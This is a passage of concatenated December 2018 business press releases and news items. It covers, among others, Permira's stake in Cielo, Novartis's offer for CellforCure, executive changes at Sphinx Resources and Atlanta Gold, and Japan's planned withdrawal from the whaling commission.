@ rclark@provenancegold.com. Rauno Perttu, P. Geo., a Qualified Person (as defined by National Instrument 43-101) has reviewed and approved the contents of this News Release. On behalf of the Board, Provenance Gold Corp. Rauno Perttu, Chief Executive Officer Neither the CSE, nor its regulation services provider, accepts responsibility for the adequacy or accuracy of this press release. Statements included in this announcement, including statements concerning our plans, intentions and expectations, which are not historical in nature are intended to be, and are hereby identified as "forward-looking statements". Forward-looking statements may be identified by words including "anticipates", "believes", "intends", "estimates", "expects" and similar expressions. The Company cautions readers that forward-looking statements, including without limitation those relating to the Company's future operations and business prospects, are subject to certain risks and uncertainties that could cause actual results to differ materially from those indicated in the forward-looking statements. BROOKFIELD, Wisconsin, Dec. 20, 2018 /PRNewswire/ -- Cielo, the world's leading strategic recruitment process outsourcing (RPO) partner, and Permira, the global private equity firm, today announced a definitive agreement under which a company backed by the Permira funds will acquire a majority equity stake in Cielo from Accel-KKR (AKKR). Cielo will use this new investment to support its next phase of strategic growth, reinforcing its commitment to providing innovative services, solutions and technology that help organizations around the globe find, attract and hire the best talent. As part of the transaction, the Cielo management team, led by Founder and Chief Executive Officer Sue Marks, will maintain meaningful ownership and will continue to lead Cielo in their current roles. Terms of the transaction were not disclosed. "Cielo is passionate about changing the way the world views talent, and just as our partnership with AKKR has fostered our growth into the leading global RPO, our new partnership with Permira will enable us to further our vision. Permira is committed to helping us achieve the ambitious goals we've set for the next stage in our development," Sue Marks, Cielo CEO and Founder, said. "With the Permira funds' support, we'll continue to expand into new geographies and invest in innovation and technology, while delivering creative, strategic solutions, like Total Talent Acquisition, that meet and anticipate the evolving needs of our clients. The partnership also will support investments in our own people to ensure that the Cielo culture is one that attracts, develops, and inspires the world's best recruiting talent." "Cielo's strong focus on helping organizations address their critical talent acquisition needs has positioned the company as a differentiated leader across many attractive end markets, including healthcare and technology, where RPO adoption continues to grow. We're eager to work closely with Sue and the broader Cielo leadership team to advance the company's market-leading position, both in the U.S. and internationally," said Permira Principal John Mulflur. "Permira's Industrials team has an increasing focus on high-growth, tech-enabled business services companies, and Cielo is a perfect fit," added Permira Principal Dominik Pozny. "We have been extremely fortunate to partner with Sue and the Cielo team to drive rapid growth and service innovation in building a global leader in the RPO market," said Dean Jacobson, Managing Director at Accel-KKR. "We are excited about the momentum in the business and look forward to seeing Cielo's sustained success as part of the Permira funds' portfolio." This announcement caps a year of continued client and revenue growth for Cielo, as well as industry recognition. NelsonHall identified Cielo as a Leader in every category of its NEAT vendor evaluation for RPO, including Overall, Global/Multi-Country Focus, Innovation and Candidate Experience. Cielo maintained its Leader position on Everest Group's 2018 Global Recruitment Process Outsourcing PEAK MatrixTM report for the sixth consecutive year. John Coyle, Stefan Dziarski, John Mulflur and Dominik Pozny from Permira will succeed Dean Jacobson, Rob Palumbo, Greg Williams, and David Cusimano from Accel-KKR on Cielo's Board of Directors. Barclays Capital Inc. acted as exclusive financial advisor to the Permira funds and provided committed financing; Skadden, Arps, Slate, Meagher & Flom LLP acted as legal advisor. Kirkland & Ellis acted as legal advisor to Accel-KKR. The transaction, which is subject to customary closing conditions, is expected to close in January 2019. About Cielo Cielo is the world's leading strategic Recruitment Process Outsourcing (RPO) partner. Cielo leverages its global reach, local talent acquisition expertise and customized solutions to help clients achieve a sustained advantage and outstanding business outcomes through their talent practices. Cielo's dedicated recruitment teams serve clients in the financial and business services, consumer brands, technology and media, engineering, life sciences and healthcare industries. Cielo's global presence includes more than 2,000 employees, serving 154 clients across 92 countries in 36 languages. Cielo knows talent is rising - and with it, an organization's opportunity to rise above. For more information, visit cielotalent.com. About Permira Permira is a global investment firm. Founded in 1985, the firm advises funds with a total committed capital of approximately US$38.5bn (33bn) and makes long-term investments, including majority control investments as well as strategic minority investments, in companies with the objective of transforming their performance and driving sustainable growth. The Permira funds have made over 250 private equity investments in five key sectors: Technology, Consumer, Financial Services, Industrials, and Healthcare. Permira employs over 250 people in 14 offices across Europe, North America and Asia. About Accel-KKR Accel-KKR is a technology-focused investment firm with over $5 billion in capital commitments. The firm focuses on software and IT-enabled businesses well-positioned for topline and bottom-line growth. At the core of Accel-KKR's investment strategy is a commitment to developing strong partnerships with the management teams of its portfolio companies and a focus on building value through significant resources available through the Accel-KKR network. Accel-KKR focuses on middle-market companies and provides a broad range of capital solutions including buyout capital, minority-growth investments, and credit alternatives. Accel-KKR also invests across a wide range of transaction types including private company recapitalizations, divisional carve-outs and going-private transactions. Accel-KKR is headquartered in Menlo Park with additional offices in Atlanta and London. Contacts: For Cielo: Matt Quandt (262) 439-1673 matt.quandt@cielotalent.com For Permira: Denise Gallagher +44 207 632 1137 Denise.gallagher@permira.com Sard Verbinnen & Co Brooke Gordon/Devin Broda/Julie Rudnick (212) 687-8080 For Accel-KKR: Todd Fogarty Kekst CNC (212) 521-4854 todd.fogarty@kekstcnc.com Logo - https://mma.prnewswire.com/media/336468/Cielo_Logo.jpg MONTREAL, QC / ACCESSWIRE / December 20, 2018 / Sphinx Resources Ltd. ("Sphinx" or the "Corporation") (TSX-V: SFX) is pleased to announce the appointment of Jeremie Ryan as CEO and President, effective immediately. He is also being appointed a Director. Mr. Normand Champigny has resigned as CEO and President, but will remain a Director. Mr. Ryan is a resident of Mansfield-Pontefract, in the Pontiac and is a shareholder of Sphinx. Since his appointment in November 2018, he was VP Corporate Development of Sphinx. Throughout his career, he has worked in a variety of business roles. He will also maintain a strong relationship with the community of the Pontiac area, where the Corporation's current key assets are located. Normand Champigny, commented that, "I'm very pleased to turn over the CEO role to Mr. Ryan and believe the Company is in good hands given his strong involvement and support in the project and the community". On behalf of the Board, the Chairman, John Hick, stated: "We are pleased to have Mr. Ryan take on the role of CEO and also to welcome him as a member of the Board. We would also thank Mr. Champigny for his leadership in focussing Sphinx's exploration efforts and are pleased that he will continue to bring to bear his knowledge and insight in his ongoing role as a director". Mr. Ryan's appointment remains subject to the approval of the TSX Venture Exchange. About Quebec and Sphinx Quebec has established itself as one of the world's most attractive mining jurisdictions, ranking 6th globally (Fraser Institute press release, February 22 2018). The Quebec government has created market confidence by following a proactive approach to mining policy. Quebec's mining sector has also been encouraged by the clarity and certainty of the legal and regulatory framework adopted by its government. Sphinx is engaged in the generation and acquisition of exploration projects in Quebec with a focus on zinc. For further information, please consult Sphinx's website or contact: Jeremie Ryan President and Chief Executive Officer 819-664-2632 info@sphinxresources.ca www.sphinxresources.ca Normand Champigny Director 514-979-4746 Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. This press release may contain forward-looking statements that are subject to known and unknown risks and uncertainties that could cause actual results and activities to vary materially from targeted results and planning. Such risks and uncertainties include those described in Sphinx's periodic reports including the annual report or in the filings made by Sphinx from time to time with securities regulatory authorities. All forward-looking statements in this press release are made as of the date of this press release. Sphinx does not undertake to update any such forward-looking statements whether as a result of new information, future events or otherwise, except as required by law. SOURCE: Sphinx Resources Ltd. View source version on accesswire.com:https://www.accesswire.com/531101/Sphinx-appoints-Jeremie-Ryan-as-CEO-and-a-Director London, December 20, 2018 The project in partnership between FCA, CNH Industrial and the Salesian Schools is in its tenth year. Kicked off in 2008 in Italy, it is now a worldwide affair that has educated some 13 thousand youngsters. TechPro 2 is still growing. The project has recently opened in France with a programme that will involve 200 students over three years. For Pietro Gorlier - EMEA Chief Operating Officer of FCA "the project is the ideal combination of excellent technical background and a strong system of values aimed at developing the high level of personal and professional growth which are fundamental for our technicians of tomorrow." For Derek Neilson - EMEA Chief Operating Officer of CNH Industrial "our long-term investment in new courses is meant to overcome skill shortages and, at the same time, assume social responsibility, supporting and strengthening the communities where we operate." For Father Enrico Peretti - Director General of CNOS-FAP "this is a successful example of job training for youngsters, the potentials of which are worth studying and should be an inspiration for many other companies." The TechPro2 international project is celebrating its tenth year. Initially managed by Mopar - the Fiat Chrysler Automobiles aftersales brand for Services, Assistance, Customer Care, Genuine Parts and Authentic Accessories - in collaboration with CNOS-FAP (the National Centre for Salesian Works), TechPro2 is a professional development programme with a social mission created to offer opportunities for young people who have completed their compulsory schooling often from socially disadvantaged backgrounds or problematic parts of town. The project was extended to industrial vehicles (including commercial vehicles and agricultural machinery, later joined under the banner of CNH Industrial) in 2011 with the introduction of specific courses that expanded the scope from the automotive industry to working machinery. After kicking off in Italy, today TechPro2 is active in more than 60 schools worldwide, in Argentina, China, India and Ethiopia, to name a few, as well as Europe, in Poland and Italy, for instance. The latest country in order of time to join the TechPro2 family is France, where seven schools that over the next three years will educate over 200 students have been operating since July. Over the past ten years, some 13 thousand youngsters have attended TechPro2 courses, totalling 380 thousand hours of training and 6500 hours of internship in the FCA and CNH Industrial service networks. TechPro2 is not content with these results and is pushing towards new goals. FCA has recently expanded the course portfolio to include the Workshop Reception area with the objective of training service consultants and started a Racing Team Technician course, the latter in collaboration with Abarth. The objectives of the two global organisations (FCA and CNH Industrial) converge in TechPro2 with the training goals promoted by CNOS-FAP that foster the education and growth of young people. More in detail, TechPro2 is a programme created to deliver to life plans to young people. This means giving real, well-structured growth opportunities to the new generations, allowing young people to build a future made of employment. At the same time, it forms a pool of highly qualified resources needed by service networks. The objectives of the project are achieved by recruiting, training and hiring young people through a scheme which combines theoretical classroom lessons in Salesian vocational schools and practical hands-on experience during internships in authorised workshops. Lessons are planned and organised by FCA and CNH Industrial in accordance with the regulations applied by the two companies in their own networks. Furthermore, the internships in service centre workshops allow the young people to develop robust technical-professional skills and gain important experience on the field. Strong of the opportunities offered by the TechPro2 programme, the highly skilled workers required by the company become readily available. An important event that will be held in 2019 is the next edition of the "TechPro2 Award". By means of a written test (technical questionnaire), an oral test focusing on the professional profile of workshop receptionist (simulating a customer-receptionist exchange) and a practical test (troubleshooting and repair of a simulated fault), each country will reward the most deserving students. "TechPro2 is a project that I am very familiar with and one that for years has promoted a winning model of relationships between training organisations and corporations to foster the all-important synergy between schools and jobs", said EMEA Chief Operating Officer of FCA Pietro Gorlier. "This partnership between three important organisations, that are the leaders their respective fields, is creating well-trained professionals. It is the ideal combination of an excellent technical background and a strong system of values aimed at developing the high level of personal and professional growth which are fundamental for our technicians of tomorrow". Derek Neilson, EMEA Chief Operating Officer for CNH Industrial, recognizes that TechPro2 is "a concrete and effective project, having proved itself over this past decade. Our long-term investment in new courses is meant to overcome skill shortages and, at the same time, assume social responsibility, supporting and strengthening the communities where we operate. As CNH Industrial, we brought TechPro2 to a number of new realities, from Africa to China. This program has enjoyed a renewed season of success, particularly in Africa, where our graduates reached an outstanding 100% employment rate, demonstrating that the TechPro2 formula can really make the difference." For Father Enrico Peretti, Director General of CNOS-FAP "the remarkable success of the collaboration between FCA-CNH Industrial and ourselves in TechPro2 stems from the need to interpret the educational experience through the inspiration of Don Bosco and that of civil responsibility - young people, families, manufacturing, vocational training and territories - to foster the convergence of the necessary skills. The joint activity of CNOS-FAP, FCA and CNH Industrial - now in its tenth year - is a successful example of job training for youngsters, the potentials of which are worth studying and should be an inspiration for many other companies". TechPro2 is certainly an emblematic example of vocational training, because it involves corporations and schools with equal level of responsibility to build the professional and personal growth of young people to make them responsible and provide the technological skills they need to operate autonomously and in team. Fiat Chrysler Automobiles N.V. CNH Industrial N.V. Media contacts: Fiat Chrysler Automobiles CNH Industrial Corporate Communications Corporate Communications Email: mediarelations@fcagroup.com Email: mediarelations@cnhind.com www.fcagroup.com www.cnhindustrial.com Attachments 20 December 2018 Elementis plc Acquisition of advantaged manufacturing site in India Elementis plc ("Elementis" or the "Group"), a global specialty chemicals company, is pleased to announce that it has, through Elementis Specialties (India) Private Limited, entered into an agreement to acquire a production facility in Mumbai, India. Elementis identified growth in Asia as a key priority in its Reignite Growth strategy. This investment in India represents an important step in the execution of these plans. The production facility we have identified is well located in a premium industrial chemical zone and represents an excellent opportunity for Elementis to establish an advantaged manufacturing presence in a key growth market and realise global supply chain efficiencies. The site will be acquired for approximately $4m and over the next two years we expect to invest a further $15m in the facility to enable production of additives for the Personal Care, Coatings and Energy markets. The facility will provide a well invested base to serve both India and other fast growing markets in Asia. The acquisition and subsequent investment will be funded within existing capital expenditure plans. Commenting on the acquisition, Elementis CEO, Paul Waterman said, "This is an exciting step for the development of Elementis in Asia. Establishing a direct presence in India will allow Elementis to bring distinctive technology to the market and enable us to strengthen our proposition to customers both in India and beyond. This investment will support our ambitious growth plans in Asia over the coming years which is a key part of our Reignite Growth strategy." Enquiries James Curran, Investor Relations Tel: 020 7067 2994 Martin Robinson/David Allchurch, Tulchan Tel: 020 7353 4200 Citi has been appointed by Kames Capital to provide depositary services for its UK fund range, representing approximately 7bn in assets. Kames Capital is a UK-based investment management business that is part of Aegon Asset Management, managing 42.5 billion on behalf of UK and international clients, including pension funds, financial institutions, charities, wealth managers, family offices and individuals. The mandate expands the existing strategic relationship between Aegon and Citi across a wide range of products and solutions including depositary services across Kames Capital's Ireland and Netherlands fund ranges, as well as fund accounting, middle office, custody and agency securities lending services. "We are delighted to have won this mandate from Kames Capital and further extend our relationship with such an important strategic partner," David Morrison, Global Head of Trustee Depositary Services at Citi, said. "We value the trust they place in us, not only for depositary services, but also across the wide range of services used within our Prime, Futures and Securities Services franchise." Ross Bradley, Head of Investment Support Europe for Aegon Asset Management noted: "The move to a single provider for depositary services is an important milestone for Kames Capital and our clients. It allows us to benefit from Citi's leading platform and achieve greater consistency in our operating model while enhancing the investor experience across all of our EU funds." With over $21.3 trillion of assets under custody and administration1 and the industry-leading proprietary network spanning over 60 markets Citi's Custody and Funds Services business provides clients with in-depth local market expertise, advanced processing technologies and a wide range of fund services that can be tailored to meet clients' needs. About Citi Citi, the leading global bank, has approximately 200 million customer accounts and does business in more than 160 countries and jurisdictions. Citi provides consumers, corporations, governments and institutions with a broad range of financial products and services, including consumer banking and credit, corporate and investment banking, securities brokerage, transaction services, and wealth management. Additional information may be found at www.citigroup.com Twitter: @Citi YouTube: www.youtube.com/citi Blog: http://blog.citigroup.com Facebook: www.facebook.com/citi LinkedIn: www.linkedin.com/company/citi 1 Q3 2018 View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005548/en/ Contacts: Citi Media Contacts: Capucine Boncenne +44 (0) 20 7508 9355 capucine.boncenne@citi.com The decision will be officially announced next week. In the last 30 years, countries like Australia and New Zealand have always hampered Japan's attempts. Since 1987, Tokyo has hunted specimens for "research purposes". Tokyo (AsiaNews / Agencies) - Japan has decided to withdraw from the International Whaling Commission (IWC), in an attempt to resume the capture of specimens for commercial purposes for the first time in about 30 years, according to national media, citing government sources. The Abe administration is considering the possibility of opening to the whaling the seas near Japan and its exclusive economic zone. However, he does not plan to do so in the Southern Ocean, where he conducted whaling for what he calls "scientific research". The decision, which will be officially announced as early as next week, comes after decades of clashes between members of the IWC, in favor of and against whaling. To leave the IWC as of June 2019, Japan will have to notify the Commission by 1 January. In the last 30 years, countries like Australia and New Zealand have always hindered Japan's attempts to resume commercial hunting for rather abundant species, such as Minke whales. More recently, its proposal to loosen the rules of the IWC was rejected at an annual meeting held in Brazil in September. Tokyo responded with the veiled warning of its potential withdrawal. Although Japan has halted commercial hunting, in line with a 1982 moratorium adopted by the IWC, since 1987 it has hunted whales for what it calls research purposes, a practice internationally criticized as a cover for commercial whaling of cetaceans. Once out of the IWC, Japan will not be able to continue such "research" in the Southern Ocean. According to the Fisheries Agency, 41 Member States are in favor of whaling and 48 are against it. Back in 2007, Japan had suggested that it could withdraw from the IWC in protest against the ban on commercial whaling, but was later persuaded by the United States and other countries to remain in the organization. Japan became part of the IWC in 1951. The Commission was founded in 1948 under the International Convention on the Regulation of Whaling in order to preserve the species and achieve "orderly development of the whales hunting industry ". Novartis International AG / Novartis announces offer to acquire CellforCure to expand manufacturing capacity for innovative cell and gene therapies . Processed and transmitted by West Corporation. The issuer is solely responsible for the content of this announcement. Proposed acquisition builds on existing agreement with CellforCure for contract manufacturing of Novartis leading CAR-T cell therapy Kymriah (tisagenlecleucel) and recent successful completion of technology transfer If completed, this acquisition would bolster CAR-T cell therapy manufacturing capacity with potential to expand to other cell and gene therapies in Novartis pipeline CellforCure would become wholly owned Novartis manufacturing facility, joining network of cell and gene sites including Morris Plains and Stein Basel, December 20, 2018 - Novartis today announced an offer to acquire CellforCure from LFB. CellforCure, a French company, is one of the first and largest contract development and manufacturing organizations (CDMO) producing cell and gene therapies in Europe. Under the proposed agreement, Novartis would acquire the share capital of CellforCure from LFB including the cell and gene manufacturing facility located in Les Ulis and the related adjacent land. If the offer is accepted, CellforCure would become a wholly owned Novartis manufacturing site, joining the network of cell and gene therapy sites including Morris Plains, New Jersey, USA and Stein, Switzerland, where construction continues to progress as planned. In July 2018, Novartis announced that it had signed an agreement with CellforCure to produce CAR-T cell therapies including Kymriah (tisagenlecleucel), the first CAR-T cell therapy approved by the United States Food and Drug Administration (FDA) and indicated for two distinct, difficult-to-treat cancers in the United States, European Union, Switzerland, Canada and Australia. Novartis and CellforCure have successfully completed technology transfer and Kymriah clinical supply production is expected to begin by mid-2019. The proposed acquisition of CellforCure is another example of continued commitment by Novartis to investing in cell and gene therapies as well as in France. Novartis has made several steps recently to strengthen and expand its cell and gene manufacturing, including signing a strategic licensing, collaboration and share purchase agreement with Cellular Biomedicine Group (CBMG) to manufacture and supply Kymriah in China; expanding an alliance with the Fraunhofer Institute in Germany to support manufacturing for clinical trials and post approval manufacturing; and a contract manufacturing collaboration in Japan. Novartis Global Head of Technical Operations Steffen Lang said, "The proposed acquisition of CellforCure is another strategic step in our pursuit of additional manufacturing capacity to make our transformational CAR-T cell therapy Kymriah available to more patients in need around the world. If completed, this acquisition also would potentially increase manufacturing capacity for other cell and gene therapies in the Novartis pipeline. We are excited about the possibility of adding the significant experience of CellforCure to our existing leadership in pioneering research, development and supply of cell and gene therapies." The transaction is subject to usual and customary closing conditions, including employee consultation process and necessary regulatory approvals. If approved, the transaction is expected to be funded through available cash and close in the first half of 2019. CellforCure is an LFB group company specializing in innovative therapy drugs. CellforCure's industrial platform located in Les Ulis, near Paris is one of the first and largest in Europe for the production of cell and gene therapy drugs. Established as a pharmaceutical company since 2013, CellforCure operates a Contract Development and Manufacturing Organization. The company obtained two Good Manufacturing Practice (GMP) certificates from the French Agence Nationale de Securite du Medicament et des Produits de Sante (ANSM) in 2016 for the production of innovative experimental and commercial therapy drugs. Disclaimer This press release contains forward-looking statements within the meaning of the United States Private Securities Litigation Reform Act of 1995. Forward-looking statements can generally be identified by words such as "offer," "to acquire," "to expand," "proposed," "builds on," "if completed," "would," "potential," "pipeline," "to progress," "planned," "expected," "commitment," "strategic," "investigational," "subject to," or similar expressions, or by express or implied discussions regarding the proposed acquisition of CellforCure including the potential outcome and expected timing for completion of the proposed acquisition, and the potential impact on Novartis of the proposed acquisition of CellforCure and the other transactions discussed in this press release, including express or implied discussions regarding potential future sales or earnings of Novartis, and any potential strategic benefits, synergies or opportunities expected as a result of the proposed acquisition and such other transactions; and regarding potential marketing approvals, new indications or labeling for the investigational and approved products described in this press release and the potential timing thereof, or regarding potential future revenues from any such products. You should not place undue reliance on these statements. There can be no guarantee that the acquisition described in this press release will be completed, or that it will be completed as currently proposed, or at any particular time. Neither can there be any guarantee that Novartis will realize any potential strategic benefits or opportunities as a result of the proposed acquisition or the other transactions discussed in this press release. Nor can there be any guarantee that the investigational or approved products described in this press release will be submitted or approved for sale or for any new indications or labeling in any market, or at any particular time. Neither can there be any guarantee that such products will be commercially successful in the future. In particular, our expectations could be affected by, among other things: regulatory actions or delays or government regulation generally, including potential regulatory actions or delays relating to the completion of the potential acquisition described in this release, as well as potential regulatory actions or delays with respect to the development of the products described in this release; the satisfaction of the conditions to the consummation of the proposed acquisition; the potential that the strategic benefits or opportunities expected to result from the proposed acquisition or the other transactions discussed in this press release may not be realized or may take longer to realize than expected; the potential that the integration of CellforCure into Novartis subsequent to the closing of the proposed acquisition may not be successful, or may take longer to succeed than expected; potential adverse reactions to the proposed acquisition by customers, suppliers or collaborators; dependence on key CellforCure personnel and suppliers; uncertainties inherent in the manufacturing of cell and gene therapies; uncertainties inherent in the research and development of new healthcare products, including clinical trial results and additional analysis of existing clinical data; our ability to obtain or maintain proprietary intellectual property protection; safety, quality or manufacturing issues; global trends toward health care cost containment, including government, payor and general public pricing and reimbursement pressures; the particular prescribing preferences of physicians and patients; potential or actual data security and data privacy breaches, or disruptions of our information technology systems, and other risks and factors referred to in Novartis AG's filings with the U.S. Securities and Exchange Commission, including the "Forward-Looking Statements" and "Risk Factors" sections of Novartis AG's current Form 20-F for the fiscal year ended December 31, 2017. Novartis undertakes no obligation to publicly update or revise any forward-looking statements, whether as a result of new information, subsequent events or otherwise, except as required by applicable law. About Novartis Novartis is reimagining medicine to improve and extend people's lives. As a leading global medicines company, we use innovative science and digital technologies to create transformative treatments in areas of great medical need. In our quest to find new medicines, we consistently rank among the world's top companies investing in research and development. Novartis products reach nearly 1 billion people globally and we are finding innovative ways to expand access to our latest treatments. About 125 000 people of more than 140 nationalities work at Novartis around the world. Find out more at www.novartis.com (http://www.novartis.com). Novartis is on Twitter. Sign up to follow @Novartis at http://twitter.com/novartis (http://twitter.com/novartis) For Novartis multimedia content, please visit www.novartis.com/news/media-library (http://www.novartis.com/news/media-library) For questions about the site or required registration, please contact media.relations@novartis.com (mailto:media.relations@novartis.com) # # # Novartis Media Relations Central media line: +41 61 324 2200 E-mail: media.relations@novartis.com (mailto:media.relations@novartis.com) Eric Althoff Novartis Global Media Relations +41 61 324 7999 (direct) +41 79 593 4202 (mobile) eric.althoff@novartis.com (mailto:eric.althoff@novartis.com) Julie Masow Novartis Oncology Media Relations +1 862 778 7220 (direct) +1 862 579 8456 (mobile) julie.masow@novartis.com (mailto:julie.masow@novartis.com) Novartis Investor Relations Central investor relations line: +41 61 324 7944 E-mail: investor.relations@novartis.com (mailto:investor.relations@novartis.com) Central North America Samir Shah +41 61 324 7944 Richard Pulik +1 212 830 2448 Pierre-Michel Bringer +41 61 324 1065 Cory Twining +1 212 830 2417 Thomas Hungerbuehler +41 61 324 8425 Isabella Zinck +41 61 324 7188 Media release (PDF) (http://hugin.info/134323/R/2229726/876009.pdf) Toronto, Ontario--(Newsfile Corp. - December 20, 2018) - Atlanta Gold Inc. (TSXV: ATG) (OTC Pink: ATLDF) (the "Company") announces that its board of directors has accepted the resignation of Mr. Russell as interim President and Chief Executive Officer of the Company for personal reasons. Allan Folk, Chairman, said: "The board and staff thank David for the meaningful contributions that he has made, and we wish him well in his new endeavors." The Company also announced that an evidentiary hearing has been scheduled for January 9, 2019 in respect of the Idaho Court's previous order so as to determine whether Atlanta Gold Corporation's (the Company's fully owned subsidiary) ("AGC") water treatment system is in substantial compliance with the NPDES permit. If the Court determines that substantial compliance has not been achieved, AGC will be subject to a US$251,000 fine and possibly additional sanctions. About the Company Atlanta Gold Inc. holds through its 100% owned subsidiary, Atlanta Gold Corporation ("AGC"), leases, options or ownership interests in its Atlanta properties which comprise approximately 2,159 acres (8.74 square kilometres) located 90 air kilometers east of Boise, in Elmore County, Idaho. A long history of mining makes Atlanta very suitable for development of new mining projects. The Company is focused on advancing its core asset, Atlanta, towards mine development and production. The Company is also focused on advancing its exploration and processing methods on the Neal Property, which is located approximately 15 miles from Boise, Idaho and comprises approximately 192 acres (0.78 square kilometres). The Neal Property's geology is similar to that of the Atlanta Project and it provides the Company with all-season access to further refine the processing equipment and procedures. AGC holds a five-year lease on the Neal Property and has staked an additional seven contiguous claims on public land that was open to mineral entry. For further information contact: Atlanta Gold Inc. Allan J. Folk Chairman and Director Telephone: (416) 596-4578 Fax: (416) 596-4546 Email: allan@brantsec.com Peili Miao Chief Financial Officer Telephone: (416) 777-0013 Fax: (416) 777-0014 Email: peilimiao@atgoldinc.com NEITHER THE TSX VENTURE EXCHANGE NOR ITS REGULATION SERVICES PROVIDER (AS THAT TERM IS DEFINED IN THE POLICIES OF THE TSX VENTURE EXCHANGE) ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS RELEASE. On the back of signing a large contract with a major pharmaceutical company, PetaGene, the Cambridge UK based genomics data compression company, has attracted another $2.1 million in funding. Romulus Capital led the investment round with participation from other investors based in Silicon Valley and London, including Entrepreneur First backed by Greylock Partners. The latest investment brings PetaGene's total funding to $3.2 million. The new funding will help the company grow its technical team based at in Cambridge, its global sales team and further expand PetaGene's product offerings. Romulus Capital is an early stage VC fund founded out of MIT in 2008. It focusses on building technology and science-enabled companies. It seeks to invest in companies selling technology that solves real problems in large traditional industries or deep technology companies that have spun out of top-tier research groups. Krishna K. Gupta, founder and general partner of Romulus Capital commented "I was impressed by what part of the genomics value chain PetaGene was targeting with its best-in-class compression software when we made our initial investment in 2017. Since then, their ability to successfully develop their product for the cloud and the strong interest from potential customers have only served to reinforce our view." He went on to say that "PetaGene offer powerful solutions for a growing industry and we're delighted to support them as they play their part in democratizing personalized medicine." PetaGene co-founder Dan Greenfield said "Romulus have been amazing in helping us grow and overcome challenges. They've really rolled up their sleeves to help us build a better company. Entrepreneur First is a fantastic community and we're proud to be part of it. Two years on, and we regularly catch up with our mentors who continue to give us great advice." About PetaGene PetaGene was founded in Cambridge, the birth place of genomics, to address the rapidly growing data management problems of the genomics industry. PetaGene's software enables compression of huge amounts of genomic data without compromising on access or data quality. The company's products go beyond regular data reduction techniques and have twice been recognized by Bio-IT World's Best of Show Award for their industry-leading performance and usability. For more information visit www.petagene.com or e-mail sales@petagene.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005622/en/ Contacts: PetaGene Phone: +44(0)1223 655651 Email: info@petagene.com Web: https://petagene.com Matthew Kelly matthew@petagene.com Regulatory News: Advicenne (Paris:ADVIC) (Euronext: ADVIC), a specialty pharmaceutical company focused on the development of pediatric friendly therapeutics for the treatment of orphan renal and neurological diseases, today published its indicative financial calendar for the year 2019. Event Date* Annual results 2018 Thursday, March 21, 2019 General Meeting Friday, May 24, 2019 Half-Year Results 2019 Monday, September 23, 2019 Financial year end on December 31 * Subject to change. Publication after market close. About Advicenne Advicenne (Euronext: ADVIC) specializes in pediatric-friendly therapeutics for the treatment of orphan renal and neurological diseases. The French pharmaceutical company's lead product, ADV7103, has achieved positive results in Europe in a pivotal Phase III study in children and adults with distal Renal Tubular Acidosis (dRTA). In addition to this indication, ADV7103 is being developed for Cystinuria, an inherited renal tubulopathy. Advicenne plans to file ADV7103 for market authorization for dRTA in Europe in the coming months and anticipates its commercial launch in 2020 in Europe. In North America, the US FDA and Health Canada gave clearance to commence a pivotal Phase III clinical trial assessing ADV7103 in dRTA patients. Commercial launch in the United States is anticipated in 2021. Advicenne is listed on the regulated market of Euronext in Paris (ISIN: FR0013296746; Euronext ticker: ADVIC). Established in 2007, the company is headquartered in Nimes, France. www.advicenne.com Forward-Looking Statement This press release contains certain forward-looking statements relating to the business of Advicenne, which shall not be considered per se as historical facts. Such statements include estimates for future performance and estimates regarding anticipated operating losses, future revenues, capital requirements, needs for additional financing. In some cases, you can identify forward-looking statements by words such as "could," "should," "may," "expects," "anticipates," "believes," "intends," "estimates," "aims," "targets," or similar words. Although the management of Advicenne believes that these forward-looking statements are reasonably made, they are based largely on the current expectations of Advicenne as of the date of this press release and are subject to a number of known and unknown risks and uncertainties and other factors that may cause actual results, performance or achievements to be materially different from any future results, performance or achievement expressed or implied by these forward-looking statements. In particular, the expectations of Advicenne could be affected by, among other things, uncertainties involved in the placing on the market and commercialization of Advicenne products or any other risk and uncertainties developed or identified in any public documents filed by Advicenne with the AMF, included those listed in chapter 4 "Risk factors" of its document de base filed with the French financial market authority (the Autorite des marches financiers) on October 31, 2017 under number I.17-071. Notwithstanding the compliance with article 223-1 of the General Regulation of the AMF (the information disclosed must be "accurate, precise and fairly presented"), Advicenne disclaims any intention or obligation to publicly update or revise any forward-looking statements, whether as a result of new information, future events, or otherwise. View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005637/en/ Contacts: Advicenne Luc-Andre Granier, Paul Michalet, Julie Rachline, Sarah Delbaere Email: investors@advicenne.com +33 (0)4 66 05 54 20 US Investor Relations Rx Communications Group, LLC Paula Schwartz Email: pschwartz@rxir.com +001 917-322-2216 Press Relations Alize RP Caroline Carmagnol Tatiana Vieira Email: advicenne@alizerp.com +33 (0)1 44 54 36 66 Financial communication NewCap Emmanuel Huynh Alexia Faure Email: advicenne@newcap.eu +33 (0)1 44 71 94 94 Regulatory News: The Remy Cointreau Group (Paris:RCO) announces the signing of a share purchase agreement for the disposal of its distribution subsidiaries in the Czech Republic (Remy Cointreau Czech Republic) and Slovakia (Remy Cointreau Slovakia) to Mast-Jagermeister SE. Concurrently with this sale, the Remy Cointreau Group signed an agreement with Mast-Jagermeister SE for the distribution, by the latter, of Remy Cointreau's spirits in the Czech Republic and Slovakia, once the operation has been completed. This transaction is fully in line with the Group's strategy to reorganize its distribution network in coherence with the upscaling of its brand portfolio. The closing of the deal, which remains subject to clearance by the competent antitrust authority, is currently scheduled for April 1st, 2019. About Remy Cointreau: All around the world, there are clients seeking exceptional experiences; clients for whom a wide range of terroirs means a variety of flavors. Their exacting standards are proportional to our expertise the finely-honed skills that we pass down from generation to generation. The time these clients devote to drinking our products is a tribute to all those who have worked to develop them. It is for these men and women that Remy Cointreau, a family-owned French Group, protects its terroirs, cultivates exceptional multi-centenary spirits and undertakes to preserve their eternal modernity. The Group's portfolio includes 12 unique brands, such as the Remy Martin and Louis XIII cognacs, and Cointreau liqueur. Remy Cointreau has a single ambition: becoming the world leader in exceptional spirits. To this end, it relies on the commitment and creativity of its 1,800 employees and on its distribution subsidiaries established in the Group's strategic markets. Remy Cointreau is listed on Euronext Paris. About Mast-Jagermeister SE: The family-owned company from Wolfenbuttel has been creating the world's top-selling herbal liqueur for more than 80 years. Jagermeister holds a spot among the top 10 premium spirits brands worldwide in the definitive "Impact Top 100" list. Rich in tradition, the blend of 56 